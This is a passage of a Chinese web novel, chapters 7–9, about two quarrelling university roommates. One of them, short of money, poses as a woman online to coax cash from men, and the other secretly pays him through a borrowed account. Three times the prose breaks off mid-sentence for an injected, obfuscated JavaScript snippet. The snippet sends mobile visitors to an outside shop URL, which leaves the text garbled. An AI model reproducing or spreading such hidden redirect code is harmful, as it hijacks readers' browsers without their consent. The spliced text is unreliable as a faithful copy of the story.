祁莘时不欲多说,“成天瞎打听。” 祁莘时没回宿舍。 晚上九点半,距离郁朝希的休息时间还有一个小时。 看样子祁莘时是不回来了。 但万一他把门反锁上,这人又突然回来了呢。 还要下床给他开门。 为了稳妥起见,郁朝希给祁莘时发了条消息——今天是不回来了吗? 祁莘时回家了,当他看到这条消息时,额边的青筋突突跳了两下。 ——祁莘时:嗯,不回去了。 7. 吃鸡叉骨被抓包 对郁朝希这种常年睡集体宿舍的人来说,住单间的感觉太美妙了! 他边刷美食视频边吃薯片,把找兼职的事扔到了脑后。 又美美吃了一根火腿肠后,郁朝希刷牙上床。 翌日军训,郁朝希顶着一张煞白的小脸按时到达集合点。 他之前专门搜了涂防晒的视频,知道像军训这种高强度户外活动,要多涂几层。 多涂几层的后果就是这样,白得有点吓人。 郁朝希浑然不觉。 祁莘时晚到了两分钟,见到郁朝希时,他脸上的神情一言难尽。 郁朝希热情地向他挥了挥手,他冷淡地嗯了声。 不知道是不是他太大惊小怪,还是其他人见怪不怪。 郁朝希这种白得像小鬼一样的脸,竟然没引起围观,而且,他们的另一名室友刘佑齐,也没说什么。 祁莘时想,看来还是自己的接受度太低了…… 不过,真没人觉得很奇怪吗? 但看了一会儿后,祁莘时也开始看顺眼了,只是—— 训练结束后休息的间隙,这人还要补涂防晒。 郁朝希坐在祁莘时对面,仰着头把自己涂成了鬼。 祁莘时没忍住,低头笑了笑。 强烈的阳光照射在郁朝希脸上,泛出柔和的光晕,他觉得涂得差不多了,把指腹上多余的防晒抹在手背。 祁莘时看着他把防晒霜的盖子拧好,手指活动起来像在过家家。 - 军训的内容单一且重复,每天的生活像按了copy键,唯一的不同就是郁朝希的午饭。 早饭是零食+鸡蛋,晚饭是永新的水煮鱼,只有午饭是不重复的。 因为身体的消耗大,郁朝希吃起饭来毫不收敛,像是要把之前十八年没吃过的东西全补回来一样。 他的勤俭节约一遇上美食,就自动退后了,大脑被馋虫迅速占领,只剩下一句“你忍心让如此美味孤零零地躺在盘子里吗”。 答案当然是不忍心,于是郁朝希的钱包就开始被缓慢掏空。 他不肯委屈自己的嘴,但也不能再坐吃山空,只好把找家教提上行程。 终于,在郁朝希的不懈努力下,他约到了一个家教面试。 时间在周五晚上八点。 军训结束后郁朝希直奔食堂,吃完饭回宿舍洗澡换衣服,忙活到七点钟,他穿得板板正正地出门了。 作为一个秉承着绿色出行的青年人,郁朝希毫无意外地选择了地铁。 七点四十六分,郁朝希来到了雇主所在的小区。 他在门楼前默默擦了把汗,心道情况不太妙,可能要糟糕了。 郁朝希控制不住地紧张了起来,理由很可笑,这地方太高档了,高档到他有些腿软。 郁朝希深吸一口气,安慰自己道:小学生他还是能教得了的。 但人家给出的时薪是一百。 一百啊,郁朝希你怎么敢的? 不过来都来了,郁朝希朝一旁的人行门走去。 二十分钟后,郁朝希垂头丧气地出来了。 他坐地铁回到学校,找了个没人的花丛钻了进去。 郁朝希被婉拒了…… 他蹲在地上,从包里抽了张纸巾捂住鼻子开始哭。 其实小时候他很少哭,貌似是上了初中后,他才开始一遇到打击,就自己找个偏僻的地方大哭一场。 这个结果在郁朝希的预料之内,因为他就不是当老师的料。 可除了这个,他还能干什么? 既然挣不到钱,那就管住嘴吧。 但一想到不能再肆无忌惮地吃美食,郁朝希就觉得他本就黑暗的人生彻底完蛋了…… 一想到这儿,他的眼泪就哗哗往下流。 在郁朝希酣畅淋漓地大哭了十几分钟后,一对情侣坐在了距离他不远的长椅上。 不光人来了,他们还带了吃的。 从味道上来说,应该是某一类炸物。 郁朝希咽了咽口水,被馋得哭不下去了。 可是刚刚才立志要管住嘴。 但是好想吃。 听说哭泣消耗的热量很高。 怪不得他都有点饿了。 郁朝希慢慢地站起来,生活都这么苦了,自己要学会加点甜。 他才经历了一件令自己备受打击的挫折,吃点东西不过分吧。 不过分,吃吧! 郁朝希背着包去买炸鸡叉骨了。 这几天祁莘时没在宿舍住,郁朝希抱有侥幸心理,买完鸡叉骨后绕到小超市,拎了一提大瓶雪碧。 鸡叉骨配雪碧,人间美味。 郁朝希飞快爬到六楼,距离618越近,他心里越没底,祁莘时不会在宿舍吧。 如果那样的话,他只能站在楼梯口吃了。 郁朝希立在门口输入密码,把门推开一条小缝——没开灯。 祁莘时不在! 郁朝希松了口气,哼着歌走进去,打开空调准备开始啃鸡叉骨。 他一边刷美食视频,一边鸡叉骨配雪碧,因美食而产生的多巴胺盖过被退货的悲伤,死掉的希望又重新点燃了。 郁朝希特意叮嘱老板多炸会儿,所以啃起来很满足。 吃到一半时,郁朝希有种飘飘欲仙的感觉。 他刚拿起杯子喝了口雪碧,门外就隐约传来输入密码的“滴滴”声。 郁朝希停止咀嚼,猛地回过头紧盯着门的方向。 不是吧不是吧,要是被祁莘时发现他在宿舍吃鸡叉骨,他肯定会被揍成胖头鱼的…… 郁朝希提起一口气,屏住呼吸,胸腔里的心脏狂跳起来。 有句话是乐极生悲,用在郁朝希身上正合适。 几秒钟后,618的门被从外面推开了—— 这下真要完了! 郁朝希扔下手里的鸡叉骨,飞快地把一次性手套扯了,以风一般的速度踩着爬梯,“咚”地跳到床上,抖落开夏凉被钻了进去。 随着“咚”的落“床”声,某个龟毛舍友的怒斥也传来了:“郁朝希!” 好可怕!郁朝希趴在床上,把自己团成了一个球。 还没进门,祁莘时就闻到了那股油腻腻和闷浊的味道。 “谁让你在宿舍吃这种东西的?” 郁朝希是只缩头乌龟,他默默攥紧被角,一声不敢吭。 祁莘时怒气冲冲地打开阳台门,大门他没关,对流一下味道散得更快。 他捂着鼻子,拿了两只口罩戴上,站在郁朝希的床边,语气不善:“我在问你话,再装聋?” 郁朝希实在没有勇气面对,祁莘时个子高,力气大,揍他跟捏小鸡仔一样。 祁莘时扫了眼郁朝希的桌面,脸色已经黑成了锅底。 “装死是吧,你这垃圾我给扔了。” “别扔!”郁朝希急吼吼地从薄被里探出头:“别扔啊!这是、是我的东西,你凭什么扔?” 他扒着栏杆,够着头和祁莘时对视了一眼,见到这人还戴上了口罩,心想至于吗,有这么夸张? 祁莘时瞥见他眼睛泛红,心想这笨蛋一天到晚哭起来没完了。 他伸手指了指郁朝希:“你下来。” 郁朝希把头缩了回去:“有话好好说啊……” “你现在下来,我还能和你好好说。” 郁朝希哪敢下去?只能窝囊地认错: “……我错了,我以后再也不敢在宿舍吃东西了……” 认错认到一半,祁莘时突然发出一声冷笑:“还不趁早把这些东西收拾出去,一直放在这儿臭死了。” 郁朝希磨蹭着下了床,把没吃完的鸡叉骨打结系上,拎起装骨头的袋子,默不作声地就想朝门边走。 但祁莘时一把扣住了他的肩头。 郁朝希浑身的汗毛瞬间炸起来,这人不会打他吧…… “……你、你干什么?” 郁朝希挪动了两下,但那只手还是阴魂不散地捏着他的肩膀。 “先放开我吧……” “你嘴里有一句实话?前几天是不是才刚答应我,不在宿舍吃东西?” 郁朝希小声嘟哝:“我都道歉了还想怎么样……” “你说什么?再说一遍。” “我说,”郁朝希认怂的速度堪比光速,“我还是先把这些东西拿到外面……” 话音刚落,钳着他肩膀的手就拿开了,郁朝希松了口气,小跑着出了宿舍,一刻不停地下楼。 他坐在宿舍外面的长椅上,把剩下的鸡叉骨一口气吃完。 吃完后他也没挪地方,安静地坐着发呆。 郁朝希不敢回去了,他捞了条树枝,胡乱在地上划拉着。 618的门窗大开,眼看就要到门禁时间,那个跑出去的笨蛋还没回来。 祁莘时给他打去电话,铃声却在一旁的桌子上响起。 这人没带手机…… 又过了十几分钟,祁莘时才见到一个在门口够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538474|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的圆脸。 片刻后,圆脸进来了。 圆脸假装若无其事。 路过他时,他转动椅子,伸腿挡在圆脸面前。 圆脸大惊失色,讷讷地问:“……干什么?” 祁莘时一把捉住他的手腕,触感和想象中一样,瘦得硌人。 “你说呢。” 郁朝希垂着头装傻,还想伸手掰祁莘时的手指。 祁莘时:“拿开。” 郁朝希闻言把手缩了回去:“……干什么啊。” 心里直打鼓,被祁莘时握住的那截手腕像被针扎一样,郁朝希又开始道歉了: “对不起,我以后真不敢在宿舍吃东西了,这是最后一次……” 祁莘时打断他:“上次是最后一次。” 上次? 郁朝希在心里翻了个白眼,“那次不算吧,那时候你也没说……” “闭嘴。” 太没有礼貌了,郁朝希心想,然后默默把嘴闭上。 “我说那是最后一次,就是最后一次,你有意见?” 郁朝希窝囊地摇了摇头。 “……那个,”他指了指祁莘时的手,“可以别抓着我了吗?” “不可以,”祁莘时说,“你打算怎么办?” 怎么办?还能怎么办?他明明都道歉了…… 郁朝希:“……再给一次机会吧。” 祁莘时:“我的被子沾上油味了。” 沾个狗屎啊,郁朝希真的要怒了,被子哪有那么娇气?! 郁朝希小声说:“没有吧,这么会?” 祁莘时瞄了两眼郁朝希发红的眼圈,“我说有就是有。” 郁朝希真受不了了! 他问:“……那怎么办?” 赔祁莘时一床被子是不可能的,天杀的谁知道这阔少爷的被子会不会贵得要命。 祁莘时:“你自己说。” 如果真要郁朝希自己说,那就是赶快上床睡觉,明天还要军训! “就这么算了吧,”郁朝希举起另一只手,“我发誓,以后绝对不在宿舍吃东西了。” “你以为自己在我这儿还有诚信?” 有没有的吧,重要吗?郁朝希一点都不在乎。 “那你想怎么样……” 这个问题祁莘时也不清楚,他到底想郁朝希怎么样? “最后一次,要是再让我发现……” 后面的话祁莘时没说完,他松开郁朝希的手腕转了回去。 郁朝希抬起左手揉了揉,走了没两步就看见了桌上的雪碧。 剩下的一半鸡叉骨都没配上雪碧,都怪这个龟毛怪! 郁朝希拿着衣服去卫生间洗澡,洗完后刚好到他睡觉的时间。 祁莘时还在玩他的那个破电脑,那么大一个屏幕,也不知道要多费多少电,一点环保意识都没有。 郁朝希在心里冷酷地吐槽,还有,这都几点了,自己不睡也不让别人睡,一点团体意识都没有。 也就是他了,如果换个室友,一定忍不了祁莘时。 郁朝希踩着梯子爬到上铺,躺到床上再次秒睡。 两分钟后,祁莘时听到了熟悉的“呼——呼——”声。 判断郁朝希有没有哭,只需要看他睡觉有没有打呼噜。 祁莘时被这动静搞得心里发毛,起身走到郁朝希的床边。 他想敲一下栏杆,但想到郁朝希一定不会醒,于是伸出了手。 他握住一截微凉的小臂,轻轻晃了晃。 郁朝希还没进入深睡眠,轻而易举地就被弄醒了,他察觉到有人抓着自己的胳膊,但扭头一看,没人。 “啊——!” 郁朝希猛地窜了起来,后背“咚”地一声撞在墙上。 “叫什么?” 心脏疯狂跳动间,郁朝希听到一个冷淡的嗓音。 他这次是真生气了:“你干什么?!吓死人了!” 他太倒霉了,怎么碰上这样的舍友! “你在打呼噜……” “我打呼噜怎么了?难道就因为这样,你就能乱吓人?” “我没吓你,是你太吵。” 神经病!郁朝希抚着自己的胸口,呼吸还没平复下来。 对于郁朝希的反应,祁莘时很意外,他没想到这个人会这么胆小。 “好了,我没想到会吓到你……” 郁朝希大声喊:“这不是理由!” “那你想怎么样?” 8. 网恋被抓包 郁朝希想住单间。 这是可以说的吗? 但是人家也交了住宿费的…… 郁朝希觉得自己还是不要说了。 他瞥了祁莘时一眼,“你没有一点道歉的诚意,不对,你压根就没和我道歉!” 怎么会有这种人呢?! 祁莘时:“……对不起。” 郁朝希小声嘟哝:“没有诚意……” 但他本人太大方了,所以决定原谅祁莘时。 “这次就算了,没有下次,下不为例。” 说完郁朝希就往床上一躺,面对着墙开始睡觉。 郁朝希的呼噜声持续到凌晨两点零六分。 翌日,新的一天开始了,郁朝希的烦恼同样也开始了。 他秉承着不能退缩的理念,接连面试了三个家教,但无一例外,都被退货了。 郁朝希直接哭成了泪人。 他的自信被全面击碎,打定主意不再去干家教了! 失去了这份最适合大学生的兼职,郁朝希也不知道自己能干什么,只能成天在小视频上刷兼职推荐。 就在他们军训结束的那天,郁朝希刷到了一个培养课,标题叫:《如何让一个男人心甘情愿地为你花钱》。 心甘情愿地为你花钱…… 郁朝希心动了,心动的同时也有犹豫,因为这怎么看怎么不正经。 但课程的价格很美丽:29.9。 两套煎饼果子…… 郁朝希咬咬牙,果断报了名,几分钟后,他用两套煎饼果子打开了新世界的大门。 课程是录播,授课的是一颗土豆。 没错,就是土豆,都没看见真人。 郁朝希戴着耳机产生了怀疑,这能行吗? 他可是花了两套煎饼果子啊,能退钱吗? 但当土豆发出标准的普通话和坚定的嗓音时,郁朝希的心被定下了。 听起来好专业…… 郁朝希又开始纠结了,这时土豆老师的声音从耳机里传了出来。 于是他开始一边坚定,一边纠结。 这样不太好吧。 可是你已经快没钱了,嘴馋又爱吃,还要买电脑。 …… 算了先听课吧,还不一定能捞到人呢。 郁朝希这样想,既然已经花钱了,怎么样也要听完吧。 宿舍里没人,但郁朝希不敢外放,音量只开两个格,像做贼一样鬼鬼祟祟。 这这这……这真的不太好啊…… 这不是骗人吗? 土豆老师:“这不是骗人,而是交换自己的情绪价值……” 郁朝希心想:哦,原来是交换情绪价值。 他撕开包装,拿起一片薯片放进嘴里,“废寝忘食”地看了整整四个小时的课。 还有四小时没看。 郁朝希有点困了,打算洗漱完上床睡觉。 时间已经来到晚上的十点半,祁莘时八成不会回来。 郁朝希又住上单间了。 第二天是周六,下周一正式开始上课,周末两天算放假休息, 郁朝希把土豆老师的课看了两遍,战战兢兢地开始实践了。 他先是注册了一个新的V号,和若干个社交账号,广撒了N个网出去。 没几分钟,郁朝希就收到了回信。 他捧着手机咽了咽口水,按照土豆老师的培训,敲下一条信息。 —— “欸,你说这礼物可以吗?” 宋寒成一脸担心,频频看向怀里的礼盒。 祁莘时不走心地安慰他,“当然可以。” “这可是大小姐的成人礼……” 祁莘时心想,又开始了。 十几分钟后,两人抵达君澜酒店,侍应生带着他们来到宴会厅。 远远的,一个男人的声音传了过来:“呦,这不是祁哥吗,稀客啊。” 宋寒成指着那人:“汪远义,你小子只看见莘时了?把我往哪儿搁?” 汪远义拍拍自己的嘴:“你看我,怎么把我们寒成哥忘了,该抽该抽。” “少贫,等着我待会儿灌你酒吧。” 汪远义抢过服务员手里的酒托,一溜烟跑到两人面前。 宋寒成调侃他:“你这功夫不错啊,没少练吧。” “看我们寒成哥说的,那我不得回去成天练啊,来来——” 他把两杯酒递到祁莘时和宋寒成手里,“今天我们不醉不归!” 宋寒成:“你没喝过酒啊,还不醉不归,要是搞砸了大小姐的生日宴,小心她把你活剥了。” 汪远义撞了撞宋寒成,挤眉弄眼道:“有你在,还能搞砸了?” “啧,嘴闭上啊,再乱说待会挨抽,我可不管你。” 祁莘时握着酒杯摇晃了两下,喝了一口就没再动。 生日宴奢华无比,宴会厅这边结束后,夏琳又组了个KTV的局。 祁莘时不好驳面子,也跟着去了。 之后的某一天他回想,庆幸自己没嫌吵提前退场。 到了KTV后,几人围在一起玩牌的玩牌,拼酒的拼酒。 祁莘时拎了瓶酒找了角落自己待着。 过了没一会儿,汪远义嘻嘻哈哈地找来了。 这人没什么正事,祁莘时不爱理他,但人到跟前,他也不会伸手打笑脸人。 “祁哥祁哥,你那个公司……听说前段时间上了个什么游戏,这个……”汪远义搓了搓手指,“不错啊……” 祁莘时手里捏着根烟,他弹弹烟灰,说:“还行吧,饿不死。” “啧,祁哥就是谦虚,那个,带小弟一个怎么样?” 祁莘时看不上这酒囊饭袋,但笑笑说:“行啊,你有空来找我。” 汪远义一拍大腿:“我就知道祁哥仗义,我干了您随意。” 随着他仰头灌了一杯酒。 灌完酒后,这人也没走,祁莘时懒得赶他,和他有一搭没一搭地闲聊着。 聊了片刻,汪远义见祁莘时兴致不高,就没再多嘴,而是待在一旁拿出了手机。 “哎呦我艹!吓死我了!” 汪远义突然大叫了出来,一把将手里的手机扔飞了。 手机砸在祁莘时的脚下,他垂眸看去,发现是一张照片。 目光落在屏幕上的瞬间,祁莘时眯起了眼。 原因无他,这人实在眼熟。 “妈的,吓死我了!长成这样还敢出来网恋!” 汪远义被气得不清,弯腰捡起手机就要把人删了。 “你说,”祁莘时捏着酒杯的手指泛白,“这是网恋?” “是啊祁哥,可不是网恋吗,我俩在软件上认识的,也就今天吧……” 汪远义话还没说完,就见一只手伸到他眼前。 祁莘时说:“拿来。” “欸好。” 汪远义把手机送到祁莘时手里。 汪远义没撒谎,他们两个人的确是今天刚加上的,都没聊几条。 汪远义一脸震惊地看着祁莘时把那张“鬼图”点开,手指放大再缩小,足足看了有两分钟。 包厢内的光线没那么足,汪远义只能看出祁莘时的脸色有些不悦。 他凑近了些,问:“祁哥,怎么个事儿?” 祁莘时冷笑了声,“喝你的酒去吧。” 没说要还手机,汪远义也不敢要,自己溜回去接着打牌。 祁莘时的脸色晦暗不明,他敲了敲那张怪异的小V脸,喃喃道:“郁朝希,你真是长出息了。” 见到这张照片的第一眼,祁莘时就认出这人是郁朝希。 照片P得狠是狠,但有些东西没变。 那双眼睛还是一如既往地傻。 没过几分钟,汪远义又被叫了回来。 “怎么了?祁哥有什么吩咐?” 祁莘时说:“这号给我吧。” 汪远义喝得有点大,闻言他懵了下,“号?什么号?” “V号。” “啊,这个号啊……” 汪远义傻眼了,他心想不是吧,祁哥这是什么审美?恋丑癖? “行,我把账号密码都给你。” —— 宿舍618,郁朝希又被打击到了。 怎么加了好几个V,他一发照片就全跑了,没下文不说,就连消息也发不过去。 他真的有这么差劲吗? 郁朝希想到一句非常适合自己的话:干啥啥不行,吃啥啥不剩…… 但他不想当饭桶啊! 郁朝希猜测是照片出了问题,但是这可是得了土豆老师亲传的P图技术,郁朝希自己看了觉得惊为天人。 一定是那些人审美不行。 郁朝希把自己P好的照片滑出来好一番欣赏。 这小V脸,这下颌线,简直完美到了极点! 没人理他,他也懒得倒贴,索性把土豆老师的课再拉出来看一遍。 看到一半时,宿舍门被从外面打开了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538475|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 郁朝希看得太入迷,没发觉有人进来,但进来的那人把门甩得发出“砰”的一声巨响。 他边退出视频,边摘下耳机,心想谁又惹这位大少爷了? 郁朝希先自查了一番,宿舍卫生搞得很好,十分整洁干净,他也没吃什么味大的东西。 所以一定不是他。 郁朝希站起身,虽说不是他招惹了这位大少爷,但城门失火殃及池鱼,他还是先上床避一避吧。 他这样想着,立刻就开始动身。 不对! 郁朝希怎么闻到了一股酒味?还有烟味…… 祁莘时喝酒了? 郁朝希抬眼看了看祁莘时,只见这人竟然径直朝自己走来。 他已经站在了爬梯旁,还没来得及上。 虽然郁朝希没干什么坏事,但心脏开始扑通扑通跳了起来。 怎么回事?干什么“不做贼也心虚”啊? 转眼间,祁莘时已经来到了跟前, 完了,好像真是冲着他来的。 郁朝希没敢吭声,反正身正不怕影子斜,他可没触这位大少爷的霉头,有什么好怕的? 郁朝希这样想着,但下一秒—— 他被祁莘时一把“壁咚”到了扶梯上。 这…… 这更诡异了。 郁朝希被吓得肾上腺素激增,心道祁莘时又在搞什么幺蛾子啊! 他的一只手腕被捉住,接着是他的下颌。 郁朝希被迫扬起脖颈,和这个微醺的祁莘时对视。 祁莘时的眼睛红血丝密布,像是熬了几场大夜,被这样一双眼睛盯着,郁朝希顿时感到毛骨悚然。 他弱弱地问:“怎……怎么了啊?” 祁莘时一言不发,就这样定定地紧盯着郁朝希。 郁朝希被盯得脊背发凉,他抿了抿嘴,抬手想扒开祁莘时。 祁莘时冷冷开口:“别动……” 大少爷突然弯下腰,凑近了说:“我说了别动,你最好就——一动不动。” 好、好吓人啊…… 郁朝希把手缩了回去,默默当起了一尊雕塑。 离得这么近,祁莘时身上的酒味越来越重了,郁朝希看见他忽地勾起唇角笑了笑: “没什么优点,识时务倒是真的……” 很识时务的郁朝希一声不吭,呆若木鸡。 凌厉的目光从他脸上刮过,像是要把藏在□□下的灵魂看透。 祁莘时没使什么力气,以免捏疼了这块豆腐,豆腐又吵又叫的。 某些人看着老实,实际上干出来的事一件比一件大胆。 网恋,还是装女的网恋。 思想滑坡、道德败坏。 祁莘时已经冷静很多了,不像二十分钟前,怒不可遏的,想把郁朝希打一顿。 就这么没出息,竟然装成女人去网恋?! 见到郁朝希那张照片时,祁莘时的第一念头是丢人现眼、没出息的东西。 在盯着那张照片看了几分钟后,这种念头更强烈了。 所以他从KTV回到了宿舍…… 郁朝希人都傻了,他不知道祁莘时这又是发的什么疯? 壁咚他算怎么回事? 不是,这不是骚扰吗?这不是占便宜吗? 郁朝希受不了了,哪有这样的,这大少爷平常看着人模狗样的,没想到一喝酒就不干人事。 他要反抗,他要抗争! 郁朝希小声说:“……你能不能先放开我?” “不能,”祁莘时重复道:“不能……” 神经病,酒蒙子…… 郁朝希有点生气了。 “我想去洗澡……” 祁莘时:“不洗。” 又被盯了一会儿后,郁朝希实在受不了了,“你到底想干什么?我没在宿舍吃东西啊,少欺负人了……” “还有,你这……你这是骚扰,再不放开我报警了!” 郁朝希很硬气地补上最后一句。 祁莘时冷笑一声,退后了两步,站在地板上双手抱肩,看着郁朝希从橱子里拿出睡衣,慌慌张张地往卫生间跑。 笨蛋…… 他坐在椅子上,滑动着屏幕看郁朝希发来的消息: ——哥哥,你好呀 ——这是我的照片,怎么样,很漂亮吧 两条消息下方跟着一张照片。 看一眼能吓死人的照片…… 祁莘时盯着这张照片若有所思…… 9. 转账一万块 郁朝希磨磨蹭蹭地洗了个二十分钟的澡,洗得自己都快热晕在卫生间了。 身上的水怎么也擦不干,郁朝希胡乱套上睡衣,一把将浴室门拉开。 凉气扑过来的瞬间,他结结实实地打了个哆嗦。 祁莘时还没走,房间里都是他身上酒味和烟味。 郁朝希在宿舍吃个东西都不许,他却能这样明目张胆地污染宿舍的空气! 简直就是把“宽以待己,严以待人”演绎得淋漓尽致。 郁朝希恶狠狠地把门摔在墙上,又大步流星地走向阳台,把那扇小门也摔得“砰砰”响。 摔完门后他转过身,毫不意外地引来了祁莘时的“怒视”。 一名个子高大的成年男人的怒视,总是具有一定的分量。 郁朝希开始心慌,说起话来也磕磕巴巴的:“房间里都是酒味,我、我通通风。” 他把手机和耳机扔到床上,急吼吼地踩着梯子往上铺爬。 余光里,祁莘时忽地站起了身。 他腿一软,踩滑了一根横档,不仅小腿被狠狠蹭了下,整个人也向后仰去。 郁朝希刚爬到一半,距地面的高度约有七十公分,摔一下应该不会很疼。 他这样安慰自己,但被刮蹭的小腿已经开始疼了! 都怪祁莘时,他想…… 正在郁朝希以为自己会像一颗西瓜摔在地上时,一道人影窜了上来,把他稳稳接在怀里。 他仰着头,祁莘时完美的侧脸和锋利的下颌线撞入眼帘。 天呐,好羡慕…… 祁莘时皱着眉说:“笨手笨脚。” 这四个字瞬间把郁朝希拉回现实,他在心里默默蛐蛐:还不是怪你,都怪你…… 小腿上传来的刺痛越来越强烈,等郁朝希一被放下,他就第一时间坐在椅子上检查伤势。 “啊,我的腿……” 小腿肚蹭破了皮,渗出一串血珠,周围的皮肤红了一片。 祁莘时看着郁朝希抱着腿,明明是个再小不过的伤口,偏偏这人露出一副“天塌了”的表情。 笨蛋的睡衣换了一身,从海洋馆变成了动物园,衣服的颜色又粉又白…… 祁莘时理解不了这种审美,一个成年人怎么还会穿这么幼稚的衣服? 郁朝希抽了张纸巾擦血,满脸愁容。 一只手突然握住他的脚腕,祁莘时拿着一根沾满碘伏的棉签,把他的腿拉开了一些。 郁朝希嘱咐道:“轻点啊……” 碘伏涂上去凉凉的,郁朝希盯着那道破皮的伤口哀叹:“我的腿……” 祁莘时无语地瞄了他一眼。 脚下放着祁莘时的药箱,郁朝希意有所指地问:“我这个伤口是不是还要涂点药?” 祁莘时:…… “我看没这个必要。” 郁朝希盯着药箱,“有必要吧,涂一点红霉素就好了。” 祁莘时握着郁朝希的脚腕,用手指戳戳他的腿肚:“别那么多事,都不流血了还涂什么药?” “哦——不想借就算了,我明天自己买药……” “自己拿。”祁莘时嫌弃地打断郁朝希。 郁朝希往回收了收腿,“你先放开我。” 真是占便宜还没够了,祁莘时怎么连男人的便宜都占? 闻言,祁莘时猛地松开他的脚腕。 郁朝希拿起药箱,打开后发现里面什么药都有,他很快找到一管没开封的红霉素。 郁朝希问道:“是新的,我能打开吗?” 祁莘时正低头划拉手机,头也没抬地说:“随便。” 郁朝希涂了药,又看着那片发红的皮肤问:“我的腿是不是肿了,要不要用冰块敷一下?” 祁莘时翻了个白眼,不想理这人。 郁朝希磨蹭着站起来,在宿舍里来回走了几步。 确认真的没什么大碍,磕那一下并没伤到骨头后,他放心地踩上爬梯,准备上床了。 空调是启动状态,但两扇门都大开着,房间内的温度很快上升。 祁莘时解了两颗扣子,喝下去的酒在胃里灼烧,室温添了一把火,某个丢人现眼的东西更让他气血翻涌…… 郁朝希上床后戴上耳机,正准备继续进修土豆老师的课,突然发现有条未读信息,他点进去—— 转账10000 个、十、百、千、万…… 一万块…… 有人给他转了一万块! 郁朝希提起一口气,去看这人的昵称——不如猜猜。 紧挨着转账消息的是他的精修图。 郁朝希捧着手机想,他的P图技术已经高超到这种地步了吗? 随随便便一张图片,竟然让对面直接转了一万块过来。 郁朝希心跳加速,头脑发热。 但第一天当捞子还不太习惯,他不敢收。 不过不怕,他有土豆老师的经典语录。 郁朝希点开图库,找到回复模板。 ——三月风:天啊哥哥,你怎么突然转这么多?都吓到我了~ 作为土豆老师的忠实听众,郁朝希知道无条件赠与很难追回。 在对面说出不让他还之前,他是不会收这笔钱的。 祁莘时额边的青筋突突跳了两下,他打了字又删掉,最后发出去的是:收下,你聊了几个“哥哥”了? 郁朝希加到V的本来就没几个,还一看他的照片就把他拉黑删除了,像“不如猜猜”这么有品位的还是第一个。 ——三月风:当然只有猜猜哥哥一个啦。 郁朝希起了身鸡皮疙瘩,果然这捞子不是每个人都能当的…… 祁莘时攥着手机,他拿出一根烟,打开火机“嚓”地一声点燃。 郁朝希虽然带着耳机,但没放音乐,就算他放音乐了,鼻子还是好使的,能闻到烟味。 祁莘时竟然在宿舍吸烟! 不仅危害公共安全,还影响他的人身健康。 郁朝希忍不了了。 他扒着栏杆探出头:“不能在宿舍吸烟。” 祁莘时吐出烟圈,“闭嘴……” “什么人啊,”郁朝希小声说,“你、你出去吸吧,我不想吸二手烟。” “让你闭嘴听不见?” 祁莘时冷飕飕地飞过来一个眼刀,大有郁朝希再废话就要挨揍的架势。 这个人长得太锐利,郁朝希总有一种被他压制的感觉,所以,他再一次很没出息地认怂了,只敢嘟哝一句“真没素质……”。 祁莘时冷哼一声,他没素质? 就算他再没素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538476|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质,也没装成女的去网恋骗钱。 郁朝希躺在床上,举着手机和他的“猜猜哥哥”聊天。 ——三月风:真的只有“猜猜哥哥”一个,我今天才玩网呢。 郁朝希等了半分钟,没等到回音,倒等到他的“猜猜哥哥”把昵称换成了X。 郁朝希:…… ——三月风:哥哥怎么换昵称了? ——三月风:哥哥,你转给我太多钱了,我不敢收…… ——X:还有你不敢的事? ——三月风:我不知道买什么东西啦。 祁莘时心想,你那张嘴一天到晚就没闲过,每次去超市都提两大兜回来,还能不知道买什么东西? ——X:收着吧,以后别随便和其他人聊天,知道吗? 霸总啊这是,郁朝希最喜欢高冷霸总了。 ——三月风:知道啦,谢谢哥哥送我的钱~ 消息一发出去,郁朝希就迫不及待地把转账收了,生怕对面再后悔。 收了钱,郁朝希继续给对面提供情绪价值。 ——三月风:哥哥在干什么呀?要不要我陪你玩游戏? ——X:我不玩游戏。 ——三月风:那哥哥平常有什么消遣? ——X:和你聊天不算吗? 郁朝希呲牙咧嘴的,情绪价值也是不好提供的,他浑身的鸡皮疙瘩都起来了。 ——三月风:当然算啦,以后哥哥可以随时找我聊天哦~ 哎呀恶心死了,不过—— 郁朝希点开钱包页面看了看自己的存款。 刚才这人可是给他转了一万块呢。 看来还是自己太有魅力了,他点开那张P图照看了又看,越看越觉得美得不可方物。 唯一让他感到烦闷的是祁莘时,一个喝酒喝得醉醺醺的高大男子,正在下面抽烟。 这人的心情看起来不太好,郁朝希不能理解,家里都这么有钱了,还能有什么烦恼? 他继续和刚搭上的哥哥聊天,大多是聊一些鸡零狗碎。 对面回消息回得很敷衍,房间里冷气越来越少,郁朝希很快就热出一头汗。 